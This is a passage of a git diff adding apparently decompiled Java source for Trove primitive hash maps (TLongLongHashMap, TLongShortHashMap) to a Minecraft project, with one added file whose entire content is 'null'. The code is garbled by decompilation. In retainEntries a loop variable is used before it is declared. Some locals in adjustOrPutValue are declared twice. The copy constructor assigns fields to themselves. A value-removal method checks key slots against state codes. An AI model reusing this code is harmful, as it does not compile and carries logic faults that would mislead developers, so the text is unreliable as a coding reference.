+    long prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TLongSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public long[] keys()
+  {
+    long[] keys = new long[size()];
+    long[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public long[] keys(long[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new long[size];
+    }
+    
+    long[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TLongCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public long[] values()
+  {
+    long[] vals = new long[size()];
+    long[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public long[] values(long[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new long[size];
+    }
+    
+    long[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(long val)
+  {
+    byte[] states = _states;
+    long[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(long key)
+  {
+    return contains(key);
+  }
+  
+
+  public TLongLongIterator iterator()
+  {
+    return new TLongLongHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TLongProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TLongLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] keys = _set;
+    long[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TLongFunction function)
+  {
+    byte[] states = _states;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TLongLongProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    long[] keys = _set;
+    long[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(long key)
+  {
+    return adjustValue(key, 1L);
+  }
+  
+
+  public boolean adjustValue(long key, long amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public long adjustOrPutValue(long key, long adjust_amount, long put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    long newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      long newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TLongSet
+  {
+    protected TKeyView() {}
+    
+    public TLongIterator iterator()
+    {
+      return new TLongLongHashMap.TLongLongKeyHashIterator(TLongLongHashMap.this, TLongLongHashMap.this);
+    }
+    
+
+    public long getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(long entry)
+    {
+      return TLongLongHashMap.this.contains(entry);
+    }
+    
+
+    public long[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public long[] toArray(long[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(long entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(long entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long ele = ((Long)element).longValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TLongCollection collection)
+    {
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(long[] array)
+    {
+      for (long element : array) {
+        if (!TLongLongHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Long> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TLongCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(long[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Long.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(long[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      long[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long c = ((Long)element).longValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        long element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(long[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TLongLongHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TLongProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TLongSet)) {
+        return false;
+      }
+      TLongSet that = (TLongSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TLongProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(long key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TLongCollection
+  {
+    protected TValueView() {}
+    
+    public TLongIterator iterator()
+    {
+      return new TLongLongHashMap.TLongLongValueHashIterator(TLongLongHashMap.this, TLongLongHashMap.this);
+    }
+    
+
+    public long getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(long entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public long[] toArray()
+    {
+      return values();
+    }
+    
+
+    public long[] toArray(long[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(long entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(long entry)
+    {
+      long[] values = _values;
+      long[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0L) && (set[i] != 2L) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long ele = ((Long)element).longValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TLongCollection collection)
+    {
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(long[] array)
+    {
+      for (long element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Long> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TLongCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(long[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Long.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(long[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      long[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long c = ((Long)element).longValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        long element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(long[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TLongLongHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TLongProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TLongProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(long value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TLongLongKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIterator
+  {
+    TLongLongKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public long next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TLongLongValueHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIterator
+  {
+    TLongLongValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public long next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TLongLongHashIterator
+    extends THashPrimitiveIterator
+    implements TLongLongIterator
+  {
+    TLongLongHashIterator(TLongLongHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public long key()
+    {
+      return _set[_index];
+    }
+    
+    public long value()
+    {
+      return _values[_index];
+    }
+    
+    public long setValue(long val)
+    {
+      long old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TLongLongMap)) {
+      return false;
+    }
+    TLongLongMap that = (TLongLongMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    long[] values = _values;
+    byte[] states = _states;
+    long this_no_entry_value = getNoEntryValue();
+    long that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        long key = _set[i];
+        long that_value = that.get(key);
+        long this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TLongLongProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(long key, long value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeLong(_set[i]);
+        out.writeLong(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      long key = in.readLong();
+      long val = in.readLong();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TLongObjectHashMap.java b/src/minecraft/gnu/trove/map/hash/TLongObjectHashMap.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TLongObjectHashMap.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/gnu/trove/map/hash/TLongShortHashMap.java b/src/minecraft/gnu/trove/map/hash/TLongShortHashMap.java
new file mode 100644
index 0000000..e54445c
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TLongShortHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TLongShortHash;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.iterator.TLongShortIterator;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.map.TLongShortMap;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.procedure.TLongShortProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TLongSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongShortHashMap
+  extends TLongShortHash
+  implements TLongShortMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient short[] _values;
+  
+  public TLongShortHashMap() {}
+  
+  public TLongShortHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongShortHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TLongShortHashMap(int initialCapacity, float loadFactor, long noEntryKey, short noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TLongShortHashMap(long[] keys, short[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TLongShortHashMap(TLongShortMap map)
+  {
+    super(map.size());
+    if ((map instanceof TLongShortHashMap)) {
+      TLongShortHashMap hashmap = (TLongShortHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0L) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    long[] oldKeys = _set;
+    short[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new long[newCapacity];
+    _values = new short[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        long o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public short put(long key, short value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public short putIfAbsent(long key, short value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private short doPut(long key, short value, int index)
+  {
+    short previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Long, ? extends Short> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Long, ? extends Short> entry : map.entrySet()) {
+      put(((Long)entry.getKey()).longValue(), ((Short)entry.getValue()).shortValue());
+    }
+  }
+  
+
+  public void putAll(TLongShortMap map)
+  {
+    ensureCapacity(map.size());
+    TLongShortIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public short get(long key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public short remove(long key)
+  {
+    short prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TLongSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public long[] keys()
+  {
+    long[] keys = new long[size()];
+    long[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public long[] keys(long[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new long[size];
+    }
+    
+    long[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TShortCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public short[] values()
+  {
+    short[] vals = new short[size()];
+    short[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public short[] values(short[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new short[size];
+    }
+    
+    short[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(short val)
+  {
+    byte[] states = _states;
+    short[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(long key)
+  {
+    return contains(key);
+  }
+  
+
+  public TLongShortIterator iterator()
+  {
+    return new TLongShortHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TLongProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TLongShortProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] keys = _set;
+    short[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TShortFunction function)
+  {
+    byte[] states = _states;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TLongShortProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    long[] keys = _set;
+    short[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(long key)
+  {
+    return adjustValue(key, (short)1);
+  }
+  
+
+  public boolean adjustValue(long key, short amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp20_18 = index; short[] tmp20_15 = _values;tmp20_15[tmp20_18] = ((short)(tmp20_15[tmp20_18] + amount));
+    return true;
+  }
+  
+
+
+  public short adjustOrPutValue(long key, short adjust_amount, short put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    short newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; short[] tmp25_20 = _values;short newValue = tmp25_20[tmp25_23] = (short)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TLongSet
+  {
+    protected TKeyView() {}
+    
+    public TLongIterator iterator()
+    {
+      return new TLongShortHashMap.TLongShortKeyHashIterator(TLongShortHashMap.this, TLongShortHashMap.this);
+    }
+    
+
+    public long getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(long entry)
+    {
+      return TLongShortHashMap.this.contains(entry);
+    }
+    
+
+    public long[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public long[] toArray(long[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(long entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(long entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long ele = ((Long)element).longValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TLongCollection collection)
+    {
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(long[] array)
+    {
+      for (long element : array) {
+        if (!TLongShortHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Long> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TLongCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(long[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Long.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(long[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      long[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long c = ((Long)element).longValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        clear();
